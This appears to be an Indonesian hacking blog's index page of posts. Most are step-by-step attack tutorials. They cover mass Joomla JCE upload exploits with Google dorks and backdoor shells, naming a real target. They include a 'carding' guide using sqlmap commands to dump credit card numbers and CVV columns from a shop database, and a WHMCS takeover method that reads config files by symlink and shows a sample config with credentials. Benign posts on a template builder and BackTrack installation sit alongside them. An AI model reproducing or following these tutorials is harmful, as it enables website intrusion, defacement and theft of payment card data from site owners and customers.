Exploit Joomla JCE Server Scaner dan JCE Tools Uploder

Lagi rame nih Deface website pakai tool JCE uploder dan JCE Exploit Tool

sebenarnya alat perang yang sering di gunakan ada 2 macam, yang format perl dan php .

kali ini saya mau share yang Perl dan Php



dork (bisa di kembangin lagi)  :
     inurl:"joomla/index.php?option=com_virtuemart"
     inurl:"joomla/index.php?option=com_jce"
     inurl:"index.php?option=com_jce"
     inurl:"index.php?option=com_virtuemart"
     inurl:"uk/index.php?option=com_virtuemart"

lanjut caranya :

1. buka lewat localhost xamp ato yang gampang upload aja lewat shell

2. lalu akses filenya, maka akan nampak seperti ini :

download JCE uploder shell
save ext php

ket :
Hostname : Web Target ( Tanpa http: dan slash / )
Path : / atau /path/ (kalo ada pathnya)
Please Specify a file to upload : tempat upload shellmu

3. upload shellmu >> klik "start", kalo berhasil alamat shell akan tertera disitu,
kalo failed cari target lain.

Untuk Tool JCE server exploiter dan scaner

download JCE server exploit scaner
save ext perl atau bash



saya tidak bertanggung jawab atas  apa yang anda lakukan, ini hanya untuk materi pembelajaran saja

Continue reading →

Exploit Joomla JCE Remote File Upload Vulnerability

Wordpress dan Joomla. Ya, kedua CMS itu memang yang paling banyak terdapat bug yang bisa dideface lewat exploit exploit sederhana. Dan kali ini saya akan share cara mudah deface web CMS Joomla dengan Exploit Joomla JCE Remote File Upload Vulnerability. Tentu saja dengan kreatifitas kalian dalam mengolah dork.  Oke langsung saja.
Bahan-bahan :

JCE Exploiter:  download               Pass rar (slawinymouz)

Google Dork : inurl:index.php?option=com_jce . Use your brain. Kembangin sendiri dorknya. :

Langkah-langkah.
Pertama, cari target di Google dengan dork diatas. Cari satu-satu. Yang sabar. Untuk tutorial ini target saya adalah http://defelsko.su/ .
Buka Tools Joomla Exploiter [ JCE.exe ] , masukkan web target lalu klik start. Lihat SS :

Step 1

Tunggu sampai proses upload selesai. Jika target memang vuln, maka akan muncul link seperti di Screenshoot berikut :

Step 2

Jika tidak ada berarti target tidak vuln Cari web lain.
Jika muncul link seperti di SS, tinggal kita buka link yang tertera disitu. :) .
http://[site]/images/stories/3xp.php
Maka akan muncul Uploader. Kalian bisa mengupload Backdoor lewat situ. Lihat SS :

Step 3

Biasanya bisa upload file .php , namun ada beberapa web yang gagal saat upload file .php . Jika gagal, coba upload file html atau txt . :)
Kali ini saya coba upload Backdoor .php dan berhasil. Jika berhasil akan ada notice Upload ok :d !!! . Lihat SS :

Step 4

Oke, sekarang tinggal kita buka Backdoornya. Tinggal ubah 3xp.php di url menjadi namashell.php . Sehingga menjadi [site]/images/stories/namashell.php .
Buka Backdoornya :)

Our Privat Shell. :)

Kalau sudah begitu ya terserah mau diapain. Langsung cari indexnya, tebas 

Continue reading →

Membuat Template Blog Sendiri

Bagi yang suka otak atik template blog ni ane punya aplikasinya agar kalian lebih mudah, dengan aplikasi ini Anda dapat membuat template blog sesuai keinginan sendiri dan tanpa perlu terkoneksi internet.

Untuk membuat template menggunakan aplikasi ini, Anda tidak harus ahli dalam kode html melainkan cukup dengan kreatifitas dan keseriusan Anda dalam membuat template.

Oya.. dari tadi saya belum menyebutkan nama aplikasinya, mau tau ??
Nama aplikasinya adalah WYSIWYG Web Builder, WYSIWYG adalah singkatan dari What You See Is What YouGet yang artinya Apa Yang Anda Lihat Adalah Apa Yang Anda Dapatkan.

                                                                     Screenshot :

Salah satu fitur dari aplikasi ini adalah Anda bisa pratinjau template buatan Anda menggunakan browser langsung, misalnya Mozilla Firefox, Google Crome dll.

                                                                       Screenshot :

 

Fitur lainnya adalah jika Anda sudah selesai membuat template, maka Anda akan mendapatkan kode HTMLnya secara otomatis, aplikasi ini juga menyediakan banyak perlengkapan untuk template blog misalnya, pembuat banner, css menu, teksbox, marquee, video youtube dan masih banyak lagi.

Oke.. jika Anda penasaran ingin mencobanya, silahkan download melalui link dibawah ini :

Ukuran File : 5.4 Mb

•   download WYSIWYG_8.2

Terimakasih atas kunjungan Anda , Semoga Artikel ini bermanfaat

Selamat Mencoba !!!

Continue reading →

Cara Menginstall BackTrack 5 R3 Dual Boot Dengan Windows

Sebelum kita mulai kita harus mengosongkan satu partisi yang akan kita tempatkan untuk menginstall BackTrack ini minimal 20 GB biar ada ruang yang digunakan untuk menginstall aplikasi-aplikasi kebutuhan kita, karena File System besarnya mencapai 11 GB.

Oke pertama-tama siapkan dulu CD BackTrack 5 r3 atau bisa juga menggunakan Flashdisk sebagai pengganti CD. Kalau belum punya silahkan download aja langsung dari situs resminyadisini dan cara downloadnya disini

Oke setelah semuanya kelar masukkan CD Installer atau kalau menggunakan flashdisk colokkan flashdisknya. Lalu booting melalui CD/Flashdisk. Lalu tunggu sebentar sampai keluar tulisan "boot" lalu tekan Enter setelah itu tunggu lagi sampai keluar seperti gambar berikut :

Setelah keluar tampilan seperti diatas pilih saja "BackTrack Text - Default Boot Text Mode" atau yang paling atas kemudian tunggu sebentar sampai keluar tampilan berikut :

Kemudian ketikkan "startx" tanpa tanda petik seperti gambar diatas lalu tekan enter. dan tunggu lagi sampai prosesnya selesai.

dan munculah tampilan seperti diatas. Di klik saja.

di klik lagi.

atur lokasi sesuai dengan waktu ditempat anda bila anda berada di wilayah WIB pilih saja "Indonesia (Jakarta)" jika WIT pilih "Indonesia (Pontianak)" dan jika WITA pilih saja "Indonesia (Makassar)" lalu forward.

dibiarkan saja klik forward lagi.

lalu pilih saja "Specify partitions manually (advanced)" supaya kita yang akan menentukan di partisi mana kita akan menginstallnya. oke forward lagi.

nah disini kita akan menentukan di partisi mana kita akan menginstallnya. seperti gambar diatas, saya sudah mengosongkan satu partisi. oke sekarang klik saja "Add" kemudian keluar tampilan seperti berikut :

dibagian 'Type for the new partition' pilih saja "Logical" dan di 'Location for the new partition' pilih saja "End" supaya partisinya berada di paling akhir karena kalu kita pilih "Beginning" partisinya akan berada di paling awal, di bagian 'Use as' pilih "Ext4 journalling file system" karena kalau kita menggunakan "NTFS" backtracknya tidak akan bisa booting, sebab file system Linux dengan Windows itu berbeda tidak sama seperti Windows yang menggunakan format "NTFS". kemudian pada 'Mount point' pilih saja "/" supaya bootingnya bisa lancar dan bisa langsung dual boot dengan Windows. klik OK dan klik forward lagi.

dicentang saja seperti gambar diatas kli forward lagi.

klik Continue.

langsung klik Install.

dan tunggu sampai prosesnya selesai setelah selesai klik saja Restart biar langsung bisa dicoba tanpa menggunakan Live CD.
Oke sekian tutorial ini saya buat semoga bermanfaat.
Wassalam.

Continue reading →

TUTORIAL CARDING ( WITH CARDING DORK & SQLMAP KALI LINUX)

Ok Langsung Aja Ke Tkp

1. sqlmap
2. dork carding (download)
3. sqli scanner :

• sqli scanner 1
• sqli scanner 2
• sqli scanner 3

Pertama ,ambil dork lalu scan menggunakan sqli scanner :

Setelah itu kita test URL target dengan memberi kan tanda petik di depan "="

http://www.zite.com/merchandise/index.php?cat=268
menjadi :
http://www.zite.com/merchandise/index.php?cat='268

Nah, web tersebut error saat kita inject ,

Kedua, kita eksekusi menggunakan sqlmap :
berikut perintahnya : ./sqlmap.py -u (Url) --dbs

Disini kita mendapatkan 3 database :

[*] balboast_gkgbu

[*] balboast_gkgcart

[*] information_schema

Setelah itu kita dump database nya untuk mencari table ,
gunakan perintah : ./sqlmap.py -u (url) -D namadatabase --tables ( disini saya coba database "balboast_gkgcart" )


nah, saya dapat tables nya :

Database: balboast_gkgcart                                                                                                                                                                     

[88 tables]

+-----------------------+

| amanu                 |

| categories            |

| clients               |

| components            |

| config                |

| config_groups         |

| customers             |

| form_data             |

| form_fields           |

| forms                 |

| geo                   |

| groups                |

| item_amanu            |

| item_cat              |

| item_files            |

| item_files_customer   |

| item_options          |

| item_options_linked   |

| item_options_values   |

| item_related          |

| item_thread           |

| item_thread_old       |

| items                 |

| items_addphoto        |

| items_item_files      |

| items_packages        |

| languages             |

| logs                  |

| mailinglist           |

| mailinglist_cat       |

| mailinglist_members   |

| manu                  |

| news                  |

| news_cat              |

| news_news_cat         |

| orders                |

| photos                |

| photos_cat            |

| pic_gallery           |

| ship_prices           |

| ship_zones            |

| sites                 |

| sites_components      |

| thread                |

| thread_gel            |

| thread_items          |

| ups                   |

| ups_packaging         |

| ups_pickup            |

| ups_service           |

| ups_units             |

| users                 |

| users_access          |

| users_groups          |

| users_spu             |

| users_spu_values      |

| zones                 |

+-----------------------+

[09:47:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/balboastitch.com'

Kita pilih di bagian "orders" . Kita ambil columns nya .
Gunakan perintah : sqlmap.py -u link -D namadatabase -T namatable --columns

Maka akan muncul seperti ini : 

Table: orders
[18 columns]
+-----------------+-------------+
| Column          | Type        |
+-----------------+-------------+
| cart_id         | varchar(15) |
| cc_ex_month     | tinyint(4)  |
| cc_ex_year      | int(11)     |
| cc_number       | varchar(30) |
| cc_type         | varchar(20) |
| customer_id     | int(11)     |
| cvv2            | varchar(20) |
| date            | datetime    |
| id              | int(11)     |
| ipaddress       | varchar(25) |
| payment_method  | varchar(15) |
| shipping        | float(8,2)  |
| shipping_method | varchar(5)  |
| status          | tinyint(4)  |
| subtotal        | float(8,2)  |
| tax             | float(8,2)  |
| text            | text        |
| total           | float(8,2)  |
+-----------------+-------------+

Nah :D sudah muncul, selesai sudah..tinggal kita dump 1 per 1 columnsnya bro :)
Caranya : ./sqlmap.py -u link -D namadatabase -T namatable --dump

contoh : ./sqlmap.py -u link -D namadatabase -T namatable -C cc_number --dump
maka nanti cc number akan muncul walau proses agak lama .




Semoga bermanfaat :)

Continue reading →

CRACKING CPANEL DENGAN WHMCS KILLER V3.php

 WHMCS KILLER V3.php
Udah ada yang pernah denger whmcs? atau whmpanel?
nah di tutorial kali ini, gw mo share cara menggunakan tools WHMCS KILLER
.
apa gunanya?
1. kita bisa login as admin dalam sebuah hosting dan bisa melakukan apa saja sesuka kita, contoh web target ada disana, nah kita tinggal edit cpanel lewat whmcs yang udah kita, bacaaa "HECK" =))
2. kita bisa dapat root cuma"
3. kita bisa dapet cpanel semau kita
4. crack VPS/SERVER
5. Carding / Read clients credit card
6. dll.
.
nah pertama lu kudu punya target whmcs yg ada 1 server dengan shell kalian.
nah biasanya di web tsb, ada tempat login client/admin
biasanya nama tmpat loginnya
/clientarea, /manage, /client /developer /billing /billingclient /bill

kita kudu dapetin config whmcs tsb dengan cara apapun, contoh dengan:
1. Symlink : praktekan command ini "
ln -s/home/user/public_html/folderclient/configuration.php
2. Root server: dengan menggunakan exploit yg bisa anda temukan di google =)) lalu baca file config whmcs
3. Jumping : tapi kayanya kemungkinan 10% cz dir yg mo di read dari group laen chmodnya beda"

.
Nah klo kita udah dapet file config, ini contoh salah satu file cofig whmcs:
------------------------------------------------------------------------------------
<?php
if(isset($_GET['licensedebug']))
{
unset($_GET['licensedebug']);
exit('Access Denied');
}
if(isset($_GET['forceremote']))
{
unset($_GET['forceremote']);
exit('Access Denied');
}
if(isset($_GET['revokelocal']))
{
unset($_GET['revokelocal']);
exit('Access Denied');
}
$license = 'Leased-d8fbbd343a2408bf7d09';
$db_host = 'localhost';
$db_username = '*****************';
$db_password = 'xS%564Ukea}|';
$db_name = '************';
$cc_encryption_hash = 'MM3hLAb9wDEUovvbwy9SSC0ElML4HfOkSHst7utuXYebjAdGYdoGFfbQRMKpSozA';
$templates_compiledir = '/home/myaccoun/whmcs_secured_folders/templates_c/';
$attachments_dir = '/home/myaccoun/whmcs_secured_folders/attachments/';
$downloads_dir = '/home/myaccoun/whmcs_secured_folders/downloads/';
$customadminpath = '__admx';
?>

-----------------------------------------------------------------------

nah klo udah dapet kaya begituan, kita masukin ke WHMCS KILLER.
isikan identitas target dengan sempurna lalu klik submit....
dari situ ada menu" yg mudah dimengerti, mulai dari edit pass admin/client sampe read password cPANEL :D

download tool:whmc killer v3
download here

Continue reading →

Tutorial Membuat Akun SSH Sekali Klik Tanpa Daftar

Tutoial Membuat Akun SSH Sekali Klik Tanpa Daftar

Nah, setelah kita bahas sebelumnya tentang Pengertian Manfaat Menggunakan Internet Gratis SSH serta tutorialnya, sekarang apalagi ya? Oke, kali ini masih tentang Internet Gratis. Karena di Internet sudah banyak yang membahas akun SSH Gratis, agar sedikit beda, saya akan berbagi tentang cara membuat akun ssh premium sendiri tentunya gratis.

Mungkin banyak dari Anda yang belum mengetahui tips trik membuat akun SSH premium sendiri. Sebenarnya tutorial nya sudah ada sejak lama dan banyak ditemui di internet. Namun cara yang disediakan harus daftar atau menjadi member di website nya terlebih dahulu sehingga cukup menyita waktu. Ada juga yang harus mengajak beberapa teman dengan link (refferal ID) agar dia mendapatkan satu akun SSH Premium 30 hari.

Bagaimana Cara Membuat Akun SSH Sendiri?

Inilah cara terbaru dan mudah membuat akun ssh premium gratis dengan menentukan username dan password sendiri tanpa daftar hanya sekali klik.

1. Kunjungi situsnya disini.
2. Pilih Server yang disediakan.
3. Klik Create SSH Account...
4. Masukkan username dan passowrd yang akan kita buat. Buatlah username dan password yang kira-kira aneh dan belum ada yang membuatnya. Contoh username dan password : hacked-id
5. Klik Create Account sekali saja, tunggu sebentar...server sedang memproses permintaan kita.
6. Selesai. Hasilnya seperti ini.

Tips mendapatkan Akun SSH dengan Server Full Speed.

SSH server Full Speed dijadikan rebutan.Biasanya para pemburu akun SSH Full Speed akan setia menunggu jam hingga sebelum jam 00:00 tiba. 

1. Buka setiap server full speed di tab baru.
2. Gunakan username dan password yang sama dan isikan di masing-masing server.
3. Sekiranya sudah pukul 23:58, silahkan klik Create Account.
4. Semoga beruntung.

Untuk yang tidak mendapatkan Server Full Speed.

Tenang saja, karena sudah tersedia banyak server unlimited lain yang perharinya tidak dibatasi. Pilih server dengan keterangan Limit Acc : 999999/Day.

Continue reading →